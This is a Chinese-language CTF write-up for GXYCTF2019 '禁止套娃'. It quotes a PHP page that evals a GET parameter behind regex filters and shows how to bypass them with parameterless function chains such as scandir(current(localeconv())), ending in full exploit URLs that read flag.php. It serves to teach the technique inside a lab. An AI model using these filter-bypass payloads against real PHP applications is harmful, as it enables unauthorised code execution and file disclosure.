[GXYCTF2019]禁止套娃

知识点

无参数RCE

审题

个人不喜欢一上来就用自动化的工具这里扫扫那里扫扫因为之前在比赛的时候 web刚出一道题一堆人上来就是拿着御剑啊sqlmap啊在那扫后来直到第二题放出来前第一题根本没办法做后面看了wp才知道要用githack扫源码泄露我就没扫了就先贴上扫出来的源码

<?php
include "flag.php";
echo "flag在哪里呢？<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦！");
            }
        }
        else{
            die("再好好想想！");
        }
    }
    else{
        die("还想读flag，臭弟弟！");
    }
}
// highlight_file(__FILE__);
?>

明显是个RCE 只不过有三层过滤首先第一层:php伪协议用不了了第二层:(?R)引用当前表达式，后面加了?递归调用。只能匹配通过无参数的函数。第三层:et info等函数也用不了典型的无参数rce 简单来说我们需要用全局变量来rce

解题

以一般的思路来说肯定是要先scandir的没有scandir没办法往下做但是问题是scandir需要一个目录而如果扫描当前目录的话需要一个"." 第一部的预想就是要构造一个"."
localeconv()
可能有人没见过这个函数(是我了) 但是他在这很重要

看上图返回的第一个数组就是'.' 但是毕竟是数组还不是'.' 不过既然是数组可以用current()
current()
这个函数返回默认的是当前数组的第一个加上之后就过了第一步拿到了目录 ~~可以了不做了~~

下一步我们只是拿到了这个数组的键值还没有拿到这个数组对应flag键值的具体值
array_flip()
这个函数就可以做到刚刚说的然后我们得到了键值

再下一步这是道rce 我们最后是@eval 也就是说我们到时候读没办法把整个数组里的东西一次性读出来只能通过highlight_file或者show_source flag.php的方法简单来说就是要一个单独的flag.php这个倒数第二个值

那咋办嘛

~~接下来就是判断你血统的时候了~~
array_rand()
简单来说这个函数可以随机返回一个数组里的值我们刚刚日出了键值这个函数就可以随机返回一个键值

~~你运气好的话可以玩一整天~~然后就在外面套一层highlight_file或者show_source就能拿到flag了完整payload

http://124881fd-d34e-498c-b1c7-f28fa8d802e2.node3.buuoj.cn/?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

假如你不想检验血统

~~假如你不能这样做一整天的话~~ 还有个函数叫array_reverse() 简单来说就是逆序输出数组但是我们的那个flag在倒数第二个所以我们还需要一个next() 顾名思义输出下一个把这个next套在
array_reverse()外面完整payload

http://124881fd-d34e-498c-b1c7-f28fa8d802e2.node3.buuoj.cn/?exp=print_r(highlight_file(next(array_reverse(scandir(pos(localeconv()))))));

EOF